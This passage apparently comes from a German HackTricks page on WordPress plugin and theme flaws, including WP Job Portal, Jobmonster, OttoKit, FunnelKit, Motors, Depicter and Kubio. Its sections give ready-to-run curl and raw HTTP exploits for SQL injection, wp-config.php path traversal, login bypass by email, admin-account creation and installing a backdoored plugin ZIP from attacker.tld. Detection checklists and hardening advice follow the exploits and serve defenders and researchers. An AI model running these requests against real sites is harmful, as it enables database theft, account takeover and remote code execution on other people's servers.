admin-post.phpausgefĂŒhrt wird, ist die einzige PrĂŒfung ein CSRF nonce (wp_verify_nonce()), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode[wpjobportal_my_resumes]abrufen kann.
Ausnutzung
- Beschaffe einen frischen Nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injiziere beliebiges SQL durch Missbrauch von
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verÀndert die Datenbank und beweist damit SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, beliebige Dateien auf der Festplatte mittels path traversal herunterzuladen. Die verwundbare Sink befindet sich in modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name ist vom Angreifer kontrolliert und wird ohne Bereinigung verkettet. Erneut ist das einzige Hindernis ein CSRF nonce, das von der Resume-Seite abgerufen werden kann.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Der Server antwortet mit dem Inhalt von wp-config.php, leaking DB credentials and auth keys.
Nicht authentifizierte KontoĂŒbernahme ĂŒber Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Viele Themes/Plugins liefern âsocial loginâ-Hilfsfunktionen, die via admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifier vertraut, wenn Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird das zu einem full authentication bypass.
Typisches fehlerhaftes Muster (vereinfacht)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider â execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đ„ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Warum es ausnutzbar ist
- Nicht authentifiziert erreichbar ĂŒber admin-ajax.php (wp_ajax_nopriv_⊠action).
- Keine nonce-/capability-Checks vor einer ZustandsÀnderung.
- Fehlende OAuth/OpenID-Provider-Verifizierung; der default-Branch akzeptiert Eingaben des Angreifers.
- get_user_by(âemailâ, $_POST[âidâ]) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse.
Ausnutzung (nicht authentifiziert)
- Voraussetzungen: Der Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errĂ€t eine gĂŒltige Benutzer-E-Mail.
- Setze provider auf einen nicht unterstĂŒtzten Wert (oder lasse ihn weg), um den default-Branch zu treffen und id=<victim_email> zu ĂŒbergeben.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 mit JSON-Body wie {âstatusâ:âsuccessâ,âmessageâ:âLogin successfully.â}.
- Set-Cookie: wordpress_logged_in_* fĂŒr den betroffenen Nutzer; nachfolgende Requests sind authentifiziert.
Finding the action name
- Inspect the theme/plugin for add_action(âwp_ajax_nopriv_âŠâ, ââŠâ) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by(âemailâ, âŠ) inside AJAX handlers.
Detection checklist
- Web Logs, die unauthenticated POSTs zu /wp-admin/admin-ajax.php mit der social-login action und id=
zeigen. - 200-Antworten mit dem success-JSON unmittelbar vor authentifiziertem Traffic von derselben IP/User-Agent.
Hardening
- IdentitÀt nicht aus Client-Input ableiten. Nur Emails/IDs akzeptieren, die aus einem validierten Provider-Token/ID stammen.
- CSRF nonces und capability checks auch fĂŒr Login-Helfer verlangen; wp_ajax_nopriv_ nur registrieren, wenn es wirklich nötig ist.
- OAuth/OIDC-Antworten serverseitig validieren und verifizieren; fehlende/ungĂŒltige Provider ablehnen (kein Fallback auf POST id).
- In ErwĂ€gung ziehen, social login vorĂŒbergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blocken), bis ein Fix vorhanden ist.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[âidâ]; $user_email must originate from verified provider branches in switch($_POST[âusingâ]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers †1.0.82)
Einige Plugins stellen REST-Endpunkte bereit, die wiederverwendbare âconnection keysâ oder Tokens erzeugen, ohne die FĂ€higkeiten des Aufrufers zu prĂŒfen. Wenn die Route nur anhand eines vorhersehbaren Attributs (z. B. username) authentifiziert und der Key nicht an einen User/Session mit capability checks gebunden wird, kann jeder unauthentifizierte Angreifer einen Key minten und privilegierte Aktionen auslösen (Erstellung eines Admin-Accounts, Plugin-Aktionen â RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: vollstĂ€ndige Ăbernahme durch Verkettung des geminteten Keys mit internen privilegierten Aktionen
PoC â Einen connection key minten und verwenden
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# â {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Warum es ausnutzbar ist
- Empfindliche REST-Route nur durch einen IdentitĂ€tsnachweis mit geringer Entropie (username) oder fehlende permission_callback geschĂŒtzt
- Keine Capability-PrĂŒfung; erzeugter SchlĂŒssel wird als universeller Bypass akzeptiert
Erkennungs-Checkliste
- Grep im Plugin-Code nach register_rest_route(âŠ, [ âpermission_callbackâ => â__return_trueâ ])
- Jede Route, die Tokens/Keys basierend auf einer vom Request gelieferten IdentitÀt (username/email) ausstellt, ohne sie an einen authentifizierten Benutzer oder eine Capability zu binden
- Suche nach nachfolgenden Routen, die den erzeugten Token/Key ohne serverseitige Capability-PrĂŒfungen akzeptieren
HĂ€rtung
- FĂŒr jede privilegierte REST-Route: Erfordere permission_callback, das current_user_can() fĂŒr die erforderliche Capability erzwingt
- Erzeuge keine langlebigen Keys aus client-gelieferter IdentitĂ€t; falls nötig, stelle nach Authentifizierung kurzlebige, an den Benutzer gebundene Tokens aus und ĂŒberprĂŒfe bei Verwendung erneut die Capabilities
- Validiere den User-Kontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Requests ab, bei denen !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse â unauthenticated arbitrary plugin installation (FunnelKit Automations †3.5.3)
Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code ein erfolgreiches Nonce als Freigabe interpretiert und dann Capability-PrĂŒfungen fĂŒr privilegierte Operationen (z. B. install/activate plugins) ĂŒberspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfĂŒllen und RCE erreichen, indem sie ein mit HintertĂŒr versehenes oder verwundbares Plugin installieren.
- Verwundbarer Pfad: plugin/install_and_activate
- Fehler: schwache Nonce-Hash-PrĂŒfung; keine current_user_can(âinstall_pluginsâ|âactivate_pluginsâ) sobald Nonce âpassesâ
- Auswirkung: vollstÀndige Kompromittierung durch beliebige Plugin-Installation/Aktivierung
PoC (Form hÀngt vom Plugin ab; nur illustrativ)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Erkennungs-Checkliste
- REST-/AJAX-Handler, die Plugins/Themes verĂ€ndern und nur wp_verify_nonce()/check_admin_referer() verwenden und keine Capability-PrĂŒfung durchfĂŒhren
- Jeder Codepfad, der $skip_caps = true nach der Nonce-Validierung setzt
HĂ€rtung
- Behandle Nonces immer nur als CSRF-Token; erzwinge Capability-PrĂŒfungen unabhĂ€ngig vom Nonce-Status
- Fordere current_user_can(âinstall_pluginsâ) und current_user_can(âactivate_pluginsâ), bevor Installer-Code erreicht wird
- Weise nicht authentifizierten Zugriff ab; vermeide das Exponieren von nopriv AJAX-Aktionen fĂŒr privilegierte AblĂ€ufe
Subscriber+ AJAX-Plugin-Installer â erzwungene bösartige Aktivierung (Motors Theme †5.6.81)
Patchstackâs analysis zeigte, wie das Motors Theme einen authentifizierten AJAX-Helper zum Installieren seines Begleit-Plugins ausliefert:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Es wird nur
check_ajax_referer()aufgerufen; es gibt keincurrent_user_can('install_plugins')odercurrent_user_can('activate_plugins'). - Der Nonce ist in der Motors Admin-Seite eingebettet, sodass jeder Subscriber, der
/wp-admin/öffnen kann, ihn aus dem HTML/JS kopieren kann. - Der Handler vertraut dem vom Angreifer kontrollierten
plugin-Parameter (aus$_GET) und ĂŒbergibt ihn anPlugin_Upgrader::install(), sodass eine beliebige entfernte ZIP nachwp-content/plugins/heruntergeladen wird. - Nach der Installation ruft das Theme bedingungslos
mvl_theme_activate_plugin()auf, was die AusfĂŒhrung des PHP-Codes des Angreifer-Plugins garantiert.
Ablauf der Ausnutzung
- Registriere/kompromittiere ein niedrig privilegiertes Konto (Subscriber reicht) und lese den
mvl_theme_install_basenonce aus der Motors-Dashboard-UI aus. - Erstelle ein Plugin-ZIP, dessen oberstes Verzeichnis dem erwarteten Slug
motors-car-dealership-classified-listings/entspricht, und bette eine backdoor oder webshell in die*.phpEntrypoints ein. - Hoste das ZIP und löse den Installer aus, indem du den Handler auf deine URL zeigst:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Da der Handler $_GET['plugin'] liest, kann dieselbe payload auch ĂŒber die Query-String gesendet werden.
Erkennungs-Checkliste
- Durchsuche themes/plugins nach
Plugin_Upgrader,Theme_Upgraderoder benutzerdefinierteninstall_plugin.php-Hilfsfunktionen, die anwp_ajax_*-Hooks ohne capability checks angebunden sind. - Untersuche jeden Handler, der einen
plugin,package,sourceoderurlParameter entgegennimmt und in Upgrader-APIs einspeist, besonders wenn der slug hard-coded ist, aber der ZIP-Inhalt nicht validiert wird. - ĂberprĂŒfe Admin-Seiten, die nonces fĂŒr Installer-Aktionen offenlegen â wenn Subscribers die Seite laden können, gehe davon aus, dass die nonce leak.
HĂ€rtung
- SchĂŒtze Installer-AJAX-Callbacks mit
current_user_can('install_plugins')undcurrent_user_can('activate_plugins')nach nonce-Verifizierung; Motors 5.6.82 hat diese PrĂŒfung eingefĂŒhrt, um den Bug zu beheben. - Verweigere nicht vertrauenswĂŒrdige URLs: beschrĂ€nke Installer auf mitgelieferte ZIPs oder vertrauenswĂŒrdige Repositories, oder erzwinge signierte Download-Manifeste.
- Behandle nonces strikt als CSRF tokens; sie gewÀhren keine Autorisierung und sollten niemals capability checks ersetzen.
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider †3.6.1)
Mehrere depicter-* Aktionen haben den s (search)-Parameter verarbeitet und ihn ohne Parametrisierung in SQL-Abfragen verkettet.
- Parameter: s (search)
- Fehler: direkte String-Konkatenation in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
- Auswirkung: Datenbank-Exfiltration (users, hashes), laterale Bewegung
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep nach depicter-* action handlers und direkter Verwendung von $_GET[âsâ] oder $_POST[âsâ] in SQL
- ĂberprĂŒfe benutzerdefinierte Queries, die an $wpdb->get_results()/query() ĂŒbergeben werden und s verketteten
Hardening
- Verwende immer $wpdb->prepare() oder wpdb-Platzhalter; unerwartete Metazeichen serverseitig ablehnen
- FĂŒge eine strikte allowlist fĂŒr s hinzu und normalisiere auf erwarteten Zeichensatz/LĂ€nge
Nicht authentifizierte Local File Inclusion ĂŒber einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder †2.5.1)
Das Akzeptieren von vom Angreifer kontrollierten Pfaden in einem Template-Parameter ohne Normalisierung/Containment ermöglicht das Lesen beliebiger lokaler Dateien und manchmal CodeausfĂŒhrung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: keine Normalisierung/allowlisting; traversal erlaubt
- Impact: Offenlegung von Geheimnissen (wp-config.php), potenzielles RCE in bestimmten Umgebungen (log poisoning, einbindbare PHP-Dateien)
PoC â wp-config.php lesen
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Erkennungs-Checkliste
- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath() zur Begrenzung zu verwenden
- Auf Traversal-Muster (../) achten, die auĂerhalb des vorgesehenen templates-Verzeichnisses gelangen
HĂ€rtung
- Erzwinge allowlisted Templates; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur fĂŒr Dateinamen verwenden (nicht fĂŒr volle Pfade)
Referenzen
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025âs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) †1.0.82 â Privilege Escalation (Patchstack DB)
- FunnelKit Automations †3.5.3 â Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider †3.6.1 â Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder †2.5.1 â Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


